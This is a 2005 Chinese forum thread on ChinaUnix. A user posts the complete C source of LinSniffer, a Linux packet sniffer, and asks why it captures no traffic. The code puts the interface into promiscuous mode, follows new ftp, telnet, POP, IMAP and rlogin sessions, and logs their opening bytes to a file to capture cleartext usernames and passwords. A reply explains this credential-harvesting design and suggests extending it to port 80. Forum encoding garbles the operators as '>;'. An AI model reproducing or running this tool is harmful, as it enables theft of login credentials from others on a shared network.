免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 2062 | 回复: 2
打印 上一主题 下一主题

关于linsniffer的疑惑 [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2005-05-16 21:28 |只看该作者 |倒序浏览
代码:linsniffer.c
编译:通过
运行:没有错误,但是不能嗅探到局域网内数据--ftp等指定数据不能探测到。
局域网用hub连接

windows下的NAI snifferpro等工具都可以使用且有效。

看网上一些关于linsniffer的介绍,均能达到嗅探数据的目的,

对此表示疑惑,望大侠解惑!
谢谢。

代码如下

  1. /*
  2. LinSniffer 0.03 [BETA]
  3. Mike Edulla
  4. medulla@infosoc.com
  5. */


  6. #include <sys/types.h>;
  7. #include <sys/socket.h>;
  8. #include <sys/time.h>;
  9. #include <sys/ioctl.h>;  /*源代码没有这行,是我自己加的*/
  10. #include <netinet/in.h>;
  11. #include <netdb.h>;
  12. #include <string.h>;
  13. #include <linux/if.h>;
  14. #include <signal.h>;
  15. #include <stdio.h>;
  16. #include <arpa/inet.h>;
  17. #include <linux/socket.h>;
  18. #include <linux/ip.h>;
  19. #include <linux/tcp.h>;
  20. #include <linux/if_ether.h>;


  21. int openintf(char *);
  22. int read_tcp(int);
  23. int filter(void);
  24. int print_header(void);
  25. int print_data(int, char *);
  26. char *hostlookup(unsigned long int);
  27. void clear_victim(void);
  28. void cleanup(int);


  29. struct etherpacket
  30. {
  31.    struct ethhdr eth;
  32.    struct iphdr  ip;
  33.    struct tcphdr tcp;
  34.    char buff[8192];
  35. }ep;

  36. struct
  37. {
  38.    unsigned long      saddr;
  39.    unsigned long      daddr;
  40.    unsigned short     sport;
  41.    unsigned short     dport;
  42.    int                bytes_read;
  43.    char               active;
  44.    time_t             start_time;
  45. } victim;

  46. struct iphdr  *ip;
  47. struct tcphdr *tcp;
  48. int s;
  49. FILE *fp;

  50. #define CAPTLEN 512
  51. #define TIMEOUT 30
  52. #define TCPLOG "tcp.log"

  53. int openintf(char *d)
  54. {
  55.    int fd;
  56.    struct ifreq ifr;
  57.    int s;
  58.    fd=socket(AF_INET, SOCK_PACKET, htons(0x800));
  59.    if(fd < 0)
  60.    {
  61.       perror("cant get SOCK_PACKET socket");
  62.       exit(0);
  63.    }
  64.    strcpy(ifr.ifr_name, d);
  65.    s=ioctl(fd, SIOCGIFFLAGS, &ifr);
  66.    if(s < 0)
  67.    {
  68.       close(fd);
  69.       perror("cant get flags");
  70.       exit(0);
  71.    }
  72.    ifr.ifr_flags |= IFF_PROMISC;
  73.    s=ioctl(fd, SIOCSIFFLAGS, &ifr);
  74.    if(s < 0) perror("cant set promiscuous mode");
  75.    return fd;
  76. }

  77. int read_tcp(int s)
  78. {
  79.    int x;
  80.    while(1)
  81.    {
  82.       x=read(s, (struct etherpacket *)&ep, sizeof(ep));
  83.       if(x >; 1)
  84.       {
  85.          if(filter()==0) continue;
  86.          x=x-54;
  87.          if(x < 1) continue;
  88.          return x;
  89.       }
  90.    }
  91. }

  92. int filter(void)
  93. {
  94.    int p;
  95.    p=0;
  96.    if(ip->;protocol != 6) return 0;
  97.    if(victim.active != 0)   
  98.       if(victim.bytes_read >; CAPTLEN)
  99.       {
  100.          fprintf(fp, "\n----- [CAPLEN Exceeded]\n");
  101.          clear_victim();
  102.          return 0;
  103.       }
  104.    if(victim.active != 0)
  105.       if(time(NULL) >; (victim.start_time + TIMEOUT))
  106.       {
  107.          fprintf(fp, "\n----- [Timed Out]\n");
  108.          clear_victim();
  109.          return 0;
  110.       }                                                                                                                  
  111.    if(ntohs(tcp->;dest)==21)  p=1; /* ftp */
  112.    if(ntohs(tcp->;dest)==23)  p=1; /* telnet */
  113.    if(ntohs(tcp->;dest)==110) p=1; /* pop3 */
  114.    if(ntohs(tcp->;dest)==109) p=1; /* pop2 */
  115.    if(ntohs(tcp->;dest)==143) p=1; /* imap2 */
  116.    if(ntohs(tcp->;dest)==513) p=1; /* rlogin */
  117.    if(ntohs(tcp->;dest)==106) p=1; /* poppasswd */
  118.    if(victim.active == 0)
  119.       if(p == 1)
  120.          if(tcp->;syn == 1)
  121.          {
  122.             victim.saddr=ip->;saddr;
  123.             victim.daddr=ip->;daddr;
  124.             victim.active=1;
  125.             victim.sport=tcp->;source;
  126.             victim.dport=tcp->;dest;
  127.             victim.bytes_read=0;
  128.             victim.start_time=time(NULL);
  129.             print_header();
  130.          }  
  131.    if(tcp->;dest != victim.dport) return 0;
  132.    if(tcp->;source != victim.sport) return 0;
  133.    if(ip->;saddr != victim.saddr) return 0;
  134.    if(ip->;daddr != victim.daddr) return 0;
  135.    if(tcp->;rst == 1)
  136.    {
  137.       victim.active=0;
  138.       alarm(0);
  139.       fprintf(fp, "\n----- [RST]\n");
  140.       clear_victim();
  141.       return 0;
  142.    }
  143.    if(tcp->;fin == 1)
  144.    {
  145.       victim.active=0;
  146.       alarm(0);
  147.       fprintf(fp, "\n----- [FIN]\n");
  148.       clear_victim();
  149.       return 0;
  150.    }
  151.    return 1;
  152. }

  153.    
  154. int print_header(void)
  155. {
  156.    fprintf(fp, "\n");
  157.    fprintf(fp, "%s =>; ", hostlookup(ip->;saddr));
  158.    fprintf(fp, "%s [%d]\n", hostlookup(ip->;daddr), ntohs(tcp->;dest));   
  159. }

  160. int print_data(int datalen, char *data)
  161. {
  162.    int i=0;
  163.    int t=0;
  164.    
  165.    victim.bytes_read=victim.bytes_read+datalen;
  166.    for(i=0;i != datalen;i++)
  167.    {
  168.       if(data[i] == 13) { fprintf(fp, "\n"); t=0; }
  169.       if(isprint(data[i])) {fprintf(fp, "%c", data[i]);t++;}
  170.       if(t >; 75) {t=0;fprintf(fp, "\n");}
  171.    }
  172. }


  173. main(int argc, char **argv)
  174. {
  175.    s=openintf("eth0");
  176.    ip=(struct iphdr *)(((unsigned long)&ep.ip)-2);
  177.    tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2);   
  178.    signal(SIGHUP, SIG_IGN);
  179.    signal(SIGINT, cleanup);
  180.    signal(SIGTERM, cleanup);
  181.    signal(SIGKILL, cleanup);
  182.    signal(SIGQUIT, cleanup);
  183.    if(argc == 2) fp=stdout;
  184.    else fp=fopen(TCPLOG, "at");
  185.    if(fp == NULL) { fprintf(stderr, "cant open log\n");exit(0);}
  186.    clear_victim();
  187.    for(;;)
  188.    {
  189.       read_tcp(s);
  190.       if(victim.active != 0) print_data(htons(ip->;tot_len)-sizeof(ep.ip)-sizeof(ep.tcp), ep.buff-2);
  191.       fflush(fp);      
  192.    }   
  193. }

  194. char *hostlookup(unsigned long int in)
  195. {
  196.    static char blah[1024];
  197.    struct in_addr i;
  198.    struct hostent *he;
  199.    
  200.    i.s_addr=in;
  201.    he=gethostbyaddr((char *)&i, sizeof(struct in_addr),AF_INET);
  202.    if(he == NULL) strcpy(blah, inet_ntoa(i));
  203.    else strcpy(blah, he->;h_name);
  204.    return blah;
  205. }

  206. void clear_victim(void)
  207. {
  208.    victim.saddr=0;
  209.    victim.daddr=0;
  210.    victim.sport=0;
  211.    victim.dport=0;
  212.    victim.active=0;
  213.    victim.bytes_read=0;
  214.    victim.start_time=0;
  215. }

  216. void cleanup(int sig)
  217. {
  218.    fprintf(fp, "Exiting...\n");
  219.    close(s);
  220.    fclose(fp);
  221.    exit(0);
  222. }
复制代码

论坛徽章:
0
2 [报告]
发表于 2005-05-16 21:29 |只看该作者

关于linsniffer的疑惑

阅过,一起等待高手解答

论坛徽章:
0
3 [报告]
发表于 2005-05-19 19:43 |只看该作者

关于linsniffer的疑惑

这个程序没有问题,从
if(argc == 2) fp=stdout;
  else fp=fopen(TCPLOG, "at";
可以看出如果直接执行./linsniffer的话,结果输出到了tcp.log文件中了。
工作原理是:
首先检测tcp的syn标记,也就是检测发起连接的标记,然后继续嗅探发起连接的一方(victim(受害者))传输的数据,直到超时或者到达嗅探的最大长度。因为一般用户名与密码都在发起连接不久后传送。
你可以加一句
if(ntohs(tcp->;dest)==80)  p=1;
使它也可以嗅探80端口的数据,因为这样的数据量比较多,方便测试。
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP